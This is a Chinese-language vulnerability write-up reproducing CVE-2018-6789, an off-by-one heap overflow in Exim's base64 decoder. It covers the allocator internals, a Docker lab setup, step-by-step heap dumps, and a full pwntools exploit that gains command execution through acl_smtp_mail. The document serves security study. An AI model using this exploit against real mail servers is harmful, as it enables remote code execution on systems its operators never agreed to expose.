CVE-2018-6789 exim off-by-one 漏洞分析与复现
前言
之前省赛notepad那个题就是根据这个洞改的。整体思路也差不多。 一些相关机制等见ref,讲的比较清楚了。 主要记录一下调试过程。
复现环境
漏洞分析
解码base64的逻辑是把4个字节当做一组,4个字节解码成3个字节。
但是如果传入的密文长度为4n + 3 字节,则函数会将最后三个字节解码为两个字节,最终明文长度为3n+2个字节,而分配的堆空间的大小为3n+1。就会发生off-by-one了。
基础知识
exim自己的内存管理机制:
extern BOOL store_extend_3(void *, int, int, const char *, int); /* The */
extern void store_free_3(void *, const char *, int); /* value of the */
extern void *store_get_3(int, const char *, int); /* 2nd arg is */
extern void *store_get_perm_3(int, const char *, int); /* __FILE__ in */
extern void *store_malloc_3(int, const char *, int); /* every call, */
extern void store_release_3(void *, const char *, int); /* so give its */
extern void store_reset_3(void *, const char *, int); /* correct type */
-
store_free()
和store_malloc()
直接调用glibc中的free()
和malloc()
. -
store_get()
,store_release()
,store_extend()
和store_reset()
用来维护exim中的storeblocks
结构体链表.从而实现高效的内存管理. -
storeblocks
是exim自己内存管理系统中的一个结构体。它由一个链表链接起来:其中:chainbase是头结点,指向第一个storeblock,current_block是尾节点,指向链表中的最后一个节点。store_last_get指向current_block中最后分配的空间,next_yield指向下一次要分配空间时的起始位置,yield_length则表示当前store_block中剩余的可分配字节数。当current_block中的剩余字节数(yield_length)小于请求分配的字节数时,会调用malloc分配一个新的storeblock块,然后从该storeblock中分配需要的空间。
每个
storeblock
的内存布局如下图, 它的主要特点是每个block至少有0x2000
个字节 , 也就是说对应chunk大小至少为0x2021
, next指向下一个storeblock:
堆布局的方法:
-
EHLO hostname
-
调用
store_free()
释放上一个hostname -
调用
store_malloc()
为新的hostname分配空间//smtp_in.c: 1907 check_helo(源码已经有不同,下面是meh发布时的源码) 1839 /* Discard any previous helo name */ 1840 1841 if (sender_helo_name != NULL) 1842 { 1843 store_free(sender_helo_name); 1844 sender_helo_name = NULL; 1845 } ... 1884 if (yield) sender_helo_name = string_copy_malloc(start); 1885 return yield;
-
-
Unrecognized command
exim会使用
store_get()
为所有未知且包含不可打印字符的指令分配空间,并将它们转换成可打印字符.const uschar * string_printing2(const uschar *s, BOOL allow_tab) { int nonprintcount = 0; int length = 0; const uschar *t = s; uschar *ss, *tt; while (*t != 0) { int c = *t++; if (!mac_isprint(c) || (!allow_tab && c == '\t')) nonprintcount++; length++; } if (nonprintcount == 0) return s; /* Get a new block of store guaranteed big enough to hold the expanded string. */ ss = store_get(length + nonprintcount * 3 + 1);
-
AUTH
在大部分验证过程中,exim使用base64编码过的数据与客户端进行通信。编码和解码的字符储存在由
store_get()
分配的缓冲区内。其中的数据可以包括不可打印字符,NULL字符,且不以
\x00
结尾. -
Reset in EHLO/HELO, MAIL, RCPT
当
EHLO/HELO, MAIL, RCPT
中某一个命令被成功执行之后,smtp_reset()
会被调用.它会调用store_reset()
来重置storeblocks
的链表。也就是说所有在上个命令之后由store_get()
分配的storeblock都会被释放。int smtp_setup_msg(void) { int done = 0; BOOL toomany = FALSE; BOOL discarded = FALSE; BOOL last_was_rej_mail = FALSE; BOOL last_was_rcpt = FALSE; void *reset_point = store_get(0); DEBUG(D_receive) debug_printf("smtp_setup_msg entered\n"); /* Reset for start of new message. We allow one RSET not to be counted as a nonmail command, for those MTAs that insist on sending it between every message. Ditto for EHLO/HELO and for STARTTLS, to allow for going in and out of TLS between messages (an Exim client may do this if it has messages queued up for the host). Note: we do NOT reset AUTH at this point. */ smtp_reset(reset_point);
环境搭建
sudo docker run --cap-add=SYS_PTRACE -it --name exim -p 25:25 skysider/vulndocker:cve-2018-6789
docker ps
sudo docker exec -i -t containerid /bin/bash
apt-get update
apt-get install vim gdb git
git clone https://github.com/scwuaptx/peda.git ~/peda
git clone https://github.com/scwuaptx/Pwngdb.git
cp ~/Pwngdb/.gdbinit ~/
使用exp与docker中的exim服务建立连接之后,在docker中使用pstree -p PID
查看exim的子进程,再使用gdb attach上去即可。
调试过程
利用思路: 利用exim自带的功能对堆进行布局,构造overlap chunk,覆写inuse的storeblock的next位置为acl_smtp_mail
所在的storeblock的地址(next指向下一个storeblock)。 将其free,acl_smtp_mail
所在的storeblock的地址会被放入unsorted bin。可以分配到它,从而覆写acl_smtp_mail
为想要执行的命令。(${run{cmd}}
)
根据ref查看的每步的内存布局:
all before:
0xa06e30 0x7f4348d2b260 0x230 Used None None
0xa07060 0x7f4348d2b260 0x8010 Used None None
0xa0f070 0x0 0x2010 Used None None
0xa11080 0x0 0x1010 Used None None
top: 0xa12090 (size : 0x1ff70)
last_remainder: 0xa068b0 (size : 0xf0)
unsortbin: 0x0
-----------------------------------------------------------------------------------------------------------
after 0x1000
0xa12090 0x0 0x1010 Used None None
0xa130a0 0x0 0x6060 Freed 0x7f4348d2cb78 0x7f4348d2cb78
0xa19100 0x6060 0x2020 Used None None
0xa1b120 0x0 0x2020 Used None None
top: 0xa1d140 (size : 0x14ec0)
last_remainder: 0xa068b0 (size : 0xf0)
unsortbin: 0xa130a0 (size : 0x6060)
-----------------------------------------------------------------------------------------------------------
after 0x20
0xa12090 0x0 0x30 Used None None
0xa120c0 0x6161616161616100 0x7040 Freed 0x7f4348d2cb78 0x7f4348d2cb78
0xa19100 0x7040 0x2020 Used None None
0xa1b120 0x0 0x2020 Used None None
top: 0xa1d140 (size : 0x14ec0)
last_remainder: 0xa120c0 (size : 0x7040)
unsortbin: 0xa120c0 (size : 0x7040)
-----------------------------------------------------------------------------------------------------------
after 0x700
0xa12090 0x0 0x30 Used None None
0xa120c0 0x6161616161616100 0x2020 Used None None
0xa140e0 0x0 0x5020 Freed 0x7f4348d2cb78 0x7f4348d2cb78
0xa19100 0x5020 0x2020 Used None None
0xa1b120 0x0 0x2020 Used None None
top: 0xa1d140 (size : 0x14ec0)
last_remainder: 0xa120c0 (size : 0x2020)
unsortbin: 0xa140e0 (size : 0x5020)
-----------------------------------------------------------------------------------------------------------
after 0x2c00
0xa12090 0x0 0x2050 Freed 0x7f4348d2cb78 0xa1d140
0xa140e0 0x2050 0x2c10 Used None None
0xa16cf0 0x0 0x2410 Freed 0xa1d140 0x7f4348d2cb78
0xa19100 0x2410 0x2020 Used None None
0xa1b120 0x0 0x2020 Used None None
0xa1d140 0x0 0xb0a0 Freed 0xa12090 0xa16cf0
top: 0xa2da50 (size : 0x205b0)
last_remainder: 0xa120c0 (size : 0x2020)
unsortbin: 0xa16cf0 (size : 0x2410) <--> 0xa1d140 (size : 0xb0a0) <--> 0xa12090 (size : 0x2050)
-----------------------------------------------------------------------------------------------------------
after payload1
0xa12090 0x0 0x2050 Used None None
0xa140e0 0x1164646464646464 0x2cf0 Freed(used)3636363636363630x6363636363636363
0xa16cf0 0x0 0x2020 Used None None
0xa18d10 0x0 0x3f0 Used None None
top: 0xa2da50 (size : 0x205b0)
last_remainder: 0xa120c0 (size : 0x6464646464646460)
unsortbin: 0xa18d10 (size : 0x3f0)
largebin[56]: 0xa1d140 (size : 0xb0a0)
-----------------------------------------------------------------------------------------------------------
after payload2 forge chunk size
0xa12090 0x0 0x2050 Used None None
0xa140e0 0x1164646464646464 0x2cf0 Used None None
0xa16dd0 0x6d6d6d6d6d6d6d6d 0x1f40 Used None None
0xa18d10 0x0 0x90 Used None None
0xa18da0 0x0 0x360 Freed 0x7f4348d2cb78 0x7f4348d2cb78
top: 0xa2da50 (size : 0x205b0)
last_remainder: 0xa18da0 (size : 0x360)
unsortbin: 0xa18da0 (size : 0x360)
largebin[56]: 0xa1d140 (size : 0xb0a0)
-----------------------------------------------------------------------------------------------------------
after release extended chunk
0xa12090 0x0 0x2050 Used None None
0xa140e0 0x1164646464646464 0x2cf0 Freed 0xa18da0 0x7f4348d2cb78
0xa16dd0 0x2cf0 0x1f40 Used None None
0xa18d10 0x0 0x90 Used None None
0xa18da0 0x0 0x360 Freed 0x7f4348d2cb78 0xa140e0
top: 0xa2da50 (size : 0x205b0)
last_remainder: 0xa18da0 (size : 0x360)
unsortbin: 0xa140e0 (size : 0x2cf0) <--> 0xa18da0 (size : 0x360)
largebin[56]: 0xa1d140 (size : 0xb0a0)
-----------------------------------------------------------------------------------------------------------
after payload3
0xa12090 0x0 0x2050 Used None None
0xa140e0 0x1164646464646464 0x2c30 Used None None
0xa16d10 0xa16c00 0xc0 Freed 0x7f4348d2cc28 0x7f4348d2cc28
0xa16dd0 0xc0 0x1f40 Used None None
0xa18d10 0x0 0x90 Used None None
0xa18da0 0x0 0x360 Freed 0x7f4348d2cec8 0x7f4348d2cec8
top: 0xa30690 (size : 0x1d970)
last_remainder: 0xa18da0 (size : 0x360)
unsortbin: 0x0
(0x360) smallbin[52]: 0xa18da0
(0x0c0) smallbin[10]: 0xa16d10
largebin[32]: 0xa275d0 (size : 0xc10)
-----------------------------------------------------------------------------------------------------------
after realease storeblock
0xa12090 0x0 0x2050 Freed 0x7f4348d2cb78 0xa16cf0
0xa140e0 0x2050 0x2c30 Freed 0xa1d150 0x2c10
0xa16cf0 0x0 0x2020 Freed 0xa12090 0x9f3470
top: 0xa326b0 (size : 0x1b950)
last_remainder: 0xa16d30 (size : 0xa0)
unsortbin: 0xa275d0 (size : 0x6480) <--> 0xa18da0 (size : 0x43a0) <--> 0x9f80d0 (size : 0xc0c0) <--> 0x9f3470 (size : 0x2020) <--> 0xa16cf0 (size : 0x2020) <--> 0xa12090 (size : 0x2050)
(0x0a0) smallbin[ 8]: 0xa16d30 (overlap chunk with 0xa16cf0(freed) )
-----------------------------------------------------------------------------------------------------------
after payload4
0xa12090 0x0 0x2050 Freed 0x7f4348d2d218 0x7f4348d2d218
0xa140e0 0x2050 0x2c30 Used None None
0xa16cf0 0x0 0x2020 Used None None
(0xa16dd0: 0x00000000000000b0 0x0000000000001f40)
0xa18d10 0x0 0x90 Used None None
0xa18da0 0x0 0x43a0 Freed None None
top: 0xa326b0 (size : 0x1b950)
last_remainder: 0xa16d30 (size : 0x7474747474747470)
unsortbin: 0xa275d0 (size : 0x6480) <--> 0xa18da0 (size : 0x43a0) <--> 0x9f80d0 (size : 0xc0c0) <--> 0x9f3470 (size : 0x2020)
(0x0a0) smallbin[ 8]: 0xa16d30 (invaild memory)
largebin[43]: 0xa12090 (size : 0x2050)
-----------------------------------------------------------------------------------------------------------
after payload5
0xa12090 0x0 0x2050 Freed 0x7f4348d2d218 0x7f4348d2d218
0xa140e0 0x2050 0x2c30 Used None None
0xa16cf0 0x0 0x2020 Used None None
(0xa16dd0: 0x00000000000000b0 0x0000000000001f40)
0xa18d10 0x0 0x90 Used None None
0xa18da0 0x0 0x43a0 Freed 0x9f80d0 0xa275d0
top: 0xa326b0 (size : 0x1b950)
last_remainder: 0xa16d30 (size : 0x7474747474747470)
unsortbin: 0xa275d0 (size : 0x6480) <--> 0xa18da0 (size : 0x43a0) <--> 0x9f80d0 (size : 0xc0c0)
(0x0a0) smallbin[ 8]: 0xa16d30 (invaild memory)
largebin[43]: 0xa12090 (size : 0x2050)
伪造chunk size的时候,储存了不止一个输入字符,而是两个,动态调试观察offset。并且注意inuse bit,防止free时产生错误。
x/18gx &acl_smtp_mail
0x9f3508 0x9f3480
top: 0xa326b0 (size : 0x1b950)
last_remainder: 0xa16d60 (size : 0xa0)
unsortbin: 0xa275d0 (size : 0x6480) <--> 0xa18d90 (size : 0x43b0) <--> 0x9f80d0 (size : 0xc0c0) <--> 0x9f3470 (size : 0x2020) <--> 0xa16d20 (size : 0x2020) <--> 0xa12090 (size : 0x2080)
(0x0a0) smallbin[ 8]: 0xa16d60 (overlap chunk with 0xa16d20(freed) )
top: 0xa326b0 (size : 0x1b950)
last_remainder: 0xa1cfb0 (size : 0x190)
unsortbin: 0xa1cd60 (size : 0x3e0) <--> 0xa27620 (size : 0x6430)
(0x060) smallbin[ 4]: 0xa140b0
(0x0a0) smallbin[ 8]: 0xa16d60 (invaild memory)
largebin[56]: 0x9f80d0 (size : 0xc0c0)
top: 0xa326b0 (size : 0x1b950)
last_remainder: 0xa16d60 (size : 0xa0)
unsortbin: 0xa2b700 (size : 0x2350)
(0x290) smallbin[39]: 0xa1ceb0
(0x0a0) smallbin[ 8]: 0xa16d60
largebin[56]: 0x9f80d0 (size : 0xc0c0)
largebin[43]: 0x9f3470 (size : 0x2020)
top: 0xa326b0 (size : 0x1b950)
last_remainder: 0xa16d60 (size : 0xa0)
unsortbin: 0xa021b0 (size : 0x1fe0)
(0x0a0) smallbin[ 8]: 0xa16d60
(0x290) smallbin[39]: 0xa1ceb0
(0x330) smallbin[49]: 0xa2d720
0x9ed08a.
0xa16d98
0x9f3490
0x9f3508
根据原理自己重新编写的exploit:
#!/usr/bin/env python
# -*- coding=utf8 -*-
"""
# Author: le3d1ng
# Created Time : 2019年05月28日 星期二 17时20分41秒
# File Name: exp3.py
# Description:
"""
from pwn import *
import base64
def ehlo(content):
sleep(0.5)
io.sendline('ehlo '+content)
io.recv()
def auth(content):
sleep(0.5)
io.sendline('AUTH CRAM-MD5')
io.recv()
sleep(0.5)
io.sendline(content)
io.recv()
def cmd(cmd):
sleep(0.5)
io.sendline(cmd)
io.recv()
io = remote('127.0.0.1',25)
io.recv()
context.log_level = 'debug'
ehlo('a'*0x1000) #新建大chunk
ehlo('a'*0x50) #内存布局
cmd('\xff'*0x700) #at least 0x700 or will not malloc a new storeblock
ehlo('a'*0x2c00) #内存布局
p = base64.b64encode(('d'*(0x2080-0x18-1)))+'EfE' #覆盖中间chunk的size最低字节为0xf0,把后面的一个chunk给overlap掉
#p = ('d'*8064).encode('base64')
auth(p)
p2 = base64.b64encode('a'*(0x40-0x18+0x8)+p64(0x1f41)) #伪造fake chunk的size,防止free时崩溃
auth(p2)
ehlo('le3d1ng\xff')#(需要包括不可打印字符) #将被覆盖size的chunk free掉
addr = 0x9f3
p3=base64.b64encode('b'*(0x2bb0+0x40) + p64(0) + p64(0x2021) + p8(0x80) + p64(addr*0x10+4)) #分配被覆盖size的chunk,覆盖后面inuse的storeblock的next指针为acl所在storeblock
auth(p3)
ehlo('crashed') #将acl所在chunk放入unsorted bin , 链表前面还有两个chunk.
p4 = base64.b64encode('l'*(0x2000-0x500)) + 'ee' # 分配链表前面的chunk
auth(p4)
p5 = base64.b64encode('c'*(8104-0xa0))+"ee" # 分配链表前面的chunk
auth(p5)
command = "${run{/usr/bin/touch /tmp/success}}" #分配到acl所在chunk 覆写为命令
p6 = base64.b64encode('x'*(0x50+0x28)+command+'\x00') + 'ee'
auth(p6)
sleep(0.5)
io.sendline('MAIL FROM: <le3d1ng@me.com>')
#io.interactive()
Ref
https://devco.re/blog/2018/03/06/exim-off-by-one-RCE-exploiting-CVE-2018-6789-en/ https://bbs.pediy.com/thread-225986.htm https://www.freebuf.com/vuls/166519.html